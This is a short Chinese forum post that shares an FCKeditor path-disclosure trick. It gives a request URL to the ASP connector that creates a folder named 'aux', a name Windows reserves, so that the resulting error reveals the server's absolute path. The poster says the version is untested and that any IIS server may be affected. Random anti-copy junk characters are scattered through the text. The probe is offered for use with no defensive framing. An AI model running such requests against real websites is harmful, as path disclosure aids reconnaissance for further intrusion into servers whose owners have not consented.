最新FCKeditor爆绝对路径漏洞

admin

代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux
$ Q" S# H( T" s0 r
# w) }' W1 I, m
版本未测试。。。
, [! S. j9 L$ ~3 G9 w$ P9 k, o
- p5 Q; b, w. Y- O7 p原理：新建个aux文件夹，aux在windows系统不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。

9 `+ [5 x' G- o) u; P& E  w
听说IIS都可以。。
2 U* d6 l+ h3 A* [8 p3 l- u7 A